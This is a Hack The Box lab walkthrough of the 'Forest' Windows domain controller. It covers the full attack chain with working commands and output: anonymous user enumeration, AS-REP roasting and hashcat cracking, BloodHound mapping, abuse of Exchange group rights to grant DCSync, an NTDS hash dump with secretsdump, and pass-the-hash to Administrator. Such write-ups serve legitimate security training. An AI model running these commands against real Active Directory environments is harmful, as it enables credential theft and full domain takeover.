Skip to content

Forest Walkthrough

Lab Name: Forest
Difficulty: Easy
Platform: Hack The Box
Lab Link: Forest

Forest is an easy Windows machine that features a Domain Controller (DC) in an Active Directory environment with Microsoft Exchange Server installed. The attack path begins with anonymous LDAP enumeration to discover domain users. By identifying a service account with Kerberos pre-authentication disabled, an AS-REP Roasting attack is performed to crack the account’s password and gain an initial foothold.

Subsequent BloodHound analysis reveals the compromised account is a member of the Account Operators group, allowing the attacker to add users to privileged Exchange groups. Leveraging the “Exchange Windows Permissions” group’s WriteDacl rights on the domain, DCSync privileges are granted, leading to a full domain compromise.


The first step after receiving a target IP is to understand what services are exposed. A fast port scan is performed using RustScan, and the results are passed to Nmap for detailed service enumeration.

Terminal window
~/Labs/on-prem/HTB/forest/hashes
rustscan -b 500 -a 10.129.95.210 -- -sC -sV -oN forest.txt
Output
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-18 21:56:38Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49680/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49681/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49685/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49700/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49840/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2026-04-18T14:57:33-07:00
| smb2-time:
| date: 2026-04-18T21:57:35
|_ start_date: 2026-04-18T21:34:21
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_clock-skew: mean: 2h26m50s, deviation: 4h02m31s, median: 6m49s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 36501/tcp): CLEAN (Couldn't connect)
| Check 2 (port 49672/tcp): CLEAN (Couldn't connect)
| Check 3 (port 32697/udp): CLEAN (Failed to receive data)
| Check 4 (port 57660/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 19 03:20:53 2026 -- 1 IP address (1 host up) scanned in 70.91 seconds

Observation: From the scan results, several ports immediately stand out: 88 (Kerberos), 389 (LDAP), and 445 (SMB). These services strongly indicate that the target is an Active Directory environment and acts as the Domain Controller.

To avoid issues with Kerberos-based tools and ensure proper routing, the domain information is verified and can be added to the /etc/hosts file.

Terminal window
~/Labs/on-prem/HTB/forest 11:11:54 AM
nxc smb 10.129.95.210 -u '' -p '' --generate-hosts-file ./forest_hosts
Output
SMB 10.129.95.210 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.95.210 445 FOREST [+] htb.local\:
Terminal window
cat forest_hosts
Output
10.129.95.210 FOREST.htb.local htb.local FOREST

An attempt to list accessible SMB shares using null sessions yields no meaningful results, indicating anonymous access to file shares is restricted. However, we can still attempt to enumerate users via a null SMB session or LDAP.

Using NetExec (nxc), a list of domain users is successfully retrieved:

Terminal window
~/Labs/on-prem/HTB/forest
nxc smb htb.local -u '' -p '' --users
Terminal window
331000-VK4ADACQNUCA <never> 0
Output
SMB 10.129.95.210 445 FOREST SM_2c8eef0a09b545acb <never> 0
SMB 10.129.95.210 445 FOREST SM_ca8c2ed5bdab4dc9b <never> 0
SMB 10.129.95.210 445 FOREST SM_75a538d3025e4db9a <never> 0
SMB 10.129.95.210 445 FOREST SM_681f53d4942840e18 <never> 0
SMB 10.129.95.210 445 FOREST SM_1b41c9286325456bb <never> 0
SMB 10.129.95.210 445 FOREST SM_9b69f1b9d2cc45549 <never> 0
SMB 10.129.95.210 445 FOREST SM_7c96b981967141ebb <never> 0
SMB 10.129.95.210 445 FOREST SM_c75ee099d0a64c91b <never> 0
SMB 10.129.95.210 445 FOREST SM_1ffab36a2f5f479cb <never> 0
SMB 10.129.95.210 445 FOREST HealthMailboxc3d7722 2019-09-23 22:51:31 0
SMB 10.129.95.210 445 FOREST HealthMailboxfc9daad 2019-09-23 22:51:35 0
SMB 10.129.95.210 445 FOREST HealthMailboxc0a90c9 2019-09-19 11:56:35 0
SMB 10.129.95.210 445 FOREST HealthMailbox670628e 2019-09-19 11:56:45 0
SMB 10.129.95.210 445 FOREST HealthMailbox968e74d 2019-09-19 11:56:56 0
SMB 10.129.95.210 445 FOREST HealthMailbox6ded678 2019-09-19 11:57:06 0
SMB 10.129.95.210 445 FOREST HealthMailbox83d6781 2019-09-19 11:57:17 0
SMB 10.129.95.210 445 FOREST HealthMailboxfd87238 2019-09-19 11:57:27 0
SMB 10.129.95.210 445 FOREST HealthMailboxb01ac64 2019-09-19 11:57:37 0
SMB 10.129.95.210 445 FOREST HealthMailbox7108a4e 2019-09-19 11:57:48 0
SMB 10.129.95.210 445 FOREST HealthMailbox0659cc1 2019-09-19 11:57:58 0
SMB 10.129.95.210 445 FOREST sebastien 2019-09-20 00:29:59 0
SMB 10.129.95.210 445 FOREST lucinda 2019-09-20 00:44:13 0
SMB 10.129.95.210 445 FOREST svc-alfresco 2026-04-19 05:58:24 0
SMB 10.129.95.210 445 FOREST andy 2019-09-22 22:44:16 0
SMB 10.129.95.210 445 FOREST mark 2019-09-20 22:57:30 0
SMB 10.129.95.210 445 FOREST santi 2019-09-20 23:02:55 0
SMB 10.129.95.210 445 FOREST [*] Enumerated 31 local users: HTB

The user list is cleaned and saved to a file using awk to extract just the usernames. A list of active users can now be used to check for accounts vulnerable to AS-REP Roasting.

Terminal window
~/Labs/on-prem/HTB/forest
awk '{print $5}' users_raw.txt > users.txt

The AS-REP Roasting attack looks for users who do not have Kerberos pre-authentication required (DONT_REQ_PREAUTH). This configuration flaw allows anyone to send an AS_REQ request to the Key Distribution Center (KDC) on behalf of the user, and receive an AS_REP message in response. This message contains a chunk of data encrypted with the user’s password hash, which can be cracked offline.

Using NetExec, an AS-REP Roasting attack is initiated against the enumerated user list:

Terminal window
~/Labs/on-prem/HTB/forest
nxc ldap htb.local -u users.txt -p '' --asreproast output.txt
Terminal window
krb5asrep$23$svc-alfresco@HTB.LOCAL:37bb2ee9f12bead87db0e4dbbd059e27$4da854a8d04bf77fc059323637ab02f2e3128b6b21667f93d00d06ba684ec70f1afa9fba4873282587858f01bbf4d35f96f541d4d9ff681a570a50cb021e433b6b938a9ac72f8cbd619151e14728fe7357b6462b381ec734c68b7099af8a0db6c632504aca32177474c545e17d2dcf625e9e19f92e485cc5996a832385a68c344ee4feb9700593f6c8b95936af8f1a2711dd90232d155ea6fdc3c761104860dd623331633fc9d31101d1dc1d155c20f2e5bfad6542433c1513ba311998cb6c2bc51358954c6bac9f48addb697354181d7e431832a36e224fa44b3676187699e256f543689965
Output
LDAP 10.129.95.210 389 FOREST [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

A Kerberos AS-REP hash is successfully retrieved for the svc-alfresco account! This provides a pathway to an initial foothold.

The retrieved hash is cracked offline using Hashcat with mode 18200 (Kerberos 5, etype 23, AS-REP).

Terminal window
~/Labs/on-prem/HTB/forest/hashes
hashcat -m 18200 hash_svc.txt /usr/share/wordlists/rockyou.txt
Terminal window
svc-alfresco@HTB.LOCAL:37bb2ee...689965:[REDACTED]
Output
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:37bb2ee...689965
Time.Started.....: Sun Apr 19 11:35:01 2026 (1 sec)
Time.Estimated...: Sun Apr 19 11:35:02 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 2900.8 kH/s (1.07ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4087808/14344385 (28.50%)
Rejected.........: 0/4087808 (0.00%)
Restore.Point....: 4083712/14344385 (28.47%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: s523480 -> s2704081
Started: Sun Apr 19 11:34:46 2026
Stopped: Sun Apr 19 11:35:03 2026

The password [REDACTED] is successfully recovered for the svc-alfresco account.

Verify Access:

Terminal window
~/Labs/on-prem/HTB/forest/hashes
nxc smb htb.local -u svc-alfresco -p '[REDACTED]'
Output
SMB 10.129.95.210 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 10.129.95.210 445 FOREST [+] htb.local\svc-alfresco:[REDACTED]

Authentication succeeds. With a valid account in the domain, the next step is to map out the environment completely.


Using RustHound, domain object relationships are safely collected to be ingested into BloodHound.

Terminal window
~/Labs/on-prem/HTB/forest/hashes
rusthound-ce --domain htb.local -u svc-alfresco -p '[REDACTED]'
Output
---------------------------------------------------
Initializing RustHound-CE at 11:41:02 on 04/19/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-04-19T06:11:02Z INFO rusthound_ce] Verbosity level: Info
[2026-04-19T06:11:02Z INFO rusthound_ce] Collection method: All
[2026-04-19T06:11:02Z INFO rusthound_ce::ldap] Connected to HTB.LOCAL Active Directory!
[2026-04-19T06:11:02Z INFO rusthound_ce::ldap] Starting data collection...
[2026-04-19T06:11:02Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-19T06:11:10Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=htb,DC=local
[2026-04-19T06:11:10Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-19T06:11:26Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=htb,DC=local
[2026-04-19T06:11:26Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-19T06:11:43Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=htb,DC=local
[2026-04-19T06:11:43Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-19T06:11:43Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=htb,DC=local
[2026-04-19T06:11:43Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-04-19T06:11:43Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=htb,DC=local
[2026-04-19T06:11:43Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
[2026-04-19T06:11:43Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10
[2026-04-19T06:11:44Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-04-19T06:11:44Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] 32 users parsed!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] .//20260419114144_htb-local_users.json created!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] 84 groups parsed!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] .//20260419114144_htb-local_groups.json created!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] 2 computers parsed!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] .//20260419114144_htb-local_computers.json created!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] 15 ous parsed!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] .//20260419114144_htb-local_ous.json created!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] 1 domains parsed!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] .//20260419114144_htb-local_domains.json created!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] .//20260419114144_htb-local_gpos.json created!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] 185 containers parsed!
[2026-04-19T06:11:44Z INFO rusthound_ce::json::maker::common] .//20260419114144_htb-local_containers.json created!
RustHound-CE Enumeration Completed at 11:41:44 on 04/19/26! Happy Graphing!

The tool successfully parses users, groups, and ACLs, outputting the JSON files for BloodHound analysis.

Ingesting the RustHound data into BloodHound instantly visualizes group memberships, privileges, and potential attack paths.

image.png

image.png

BloodHound reveals a critical attack path: the svc-alfresco account has nested group memberships leading to a highly privileged state, providing a clear route to full Domain Admin access.

Additionally, BloodHound indicates that the account is part of the Remote Management Users group. We can use Evil-WinRM to obtain an interactive remote shell and claim the initial user flag.

Terminal window
~/Labs/on-prem/HTB/forest/hashes
evil-winrm -i htb.local -u svc-alfresco -p '[REDACTED]'

image.png

The user flag is successfully retrieved. The focus now shifts toward exploiting the AD architecture to escalate privileges.


3. Lateral Movement & Privilege Escalation

Section titled “3. Lateral Movement & Privilege Escalation”

Through the nested groups mapped out in BloodHound, svc-alfresco belongs to the Service Accounts group, which is inherited by Privileged IT Accounts, and eventually the Account Operators group. This structural configuration grants the user GenericAll privileges over the Exchange Windows Permissions group.

Exchange Windows Permissions group possesses WriteDacl permissions over the entire domain object (htb.local). This is incredibly powerful because it allows a member of the group to modify the domain’s access control lists, specifically to grant DCSync rights.

The attack sequence is as follows:

  1. Create a new controlled user in the domain.
  2. Add the user to the Exchange Windows Permissions group.
  3. Add the user to the Remote Management Users group to utilize WinRM.
  4. Use the newly acquired group privileges to grant the controlled user DCSync privileges over the domain.

From the Evil-WinRM session, a new user igris is created, and then added to the Exchange groups:

Output
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user igris [REDACTED] /add /domain
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" igris /add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Remote Management Users" igris /add /domain

To grant the DCSync rights, PowerShell constructs (or PowerView equivalents) are executed natively to update the ACL on the domain object:

Terminal window
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString '[REDACTED]' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\igris', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectACL -PrincipalIdentity igris -Credential $Cred -Rights DCSync

With DCSync privileges successfully granted to the igris account, the final step is to imitate a Domain Controller and sync the domain’s credential data (NTDS.dit) using Impacket’s secretsdump.

Terminal window
~/Labs/on-prem/HTB/forest 5s  07:24:01 PM
impacket-secretsdump htb.local/igris:'[REDACTED]'@10.129.95.210
Terminal window
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
# ... [Snipped] ...
:1000:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
:1103:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:[REDACTED]
htb.local\Administrator:aes128-cts-hmac-sha1-96:[REDACTED]
# ... [Snipped] ...
[*] Cleaning up...

Using the extracted NTLM hash for the Domain Administrator account, full access is gained via a Pass-The-Hash (PtH) attack with Evil-WinRM:

Terminal window
evil-winrm -i 10.129.95.210 -u Administrator -H [REDACTED]

image.png

The root flag is secured, and the domain is fully compromised.

Owned Forest from Hack The Box!


  • Unauthenticated LDAP enumeration allowed the extraction of active domain usernames. An AS-REP Roasting attack against the svc-alfresco account yielded a hash that was trivially cracked offline using Hashcat.
  • Leveraged nested group memberships mapped out in BloodHound (Account Operators) to gain GenericAll control over the Exchange Windows Permissions group.
  • Abused the Exchange Windows Permissions group’s inherent WriteDacl permission on the domain object to grant targeted DCSync permissions to a newly created user.
  • Executed a DCSync attack to extract NTDS.dit hashes from the Domain Controller post-escalation.
  • Achieved full domain compromise utilizing Pass-The-Hash (PtH) to log in as the Domain Administrator.

Thanks to Hack The Box for the lab environment.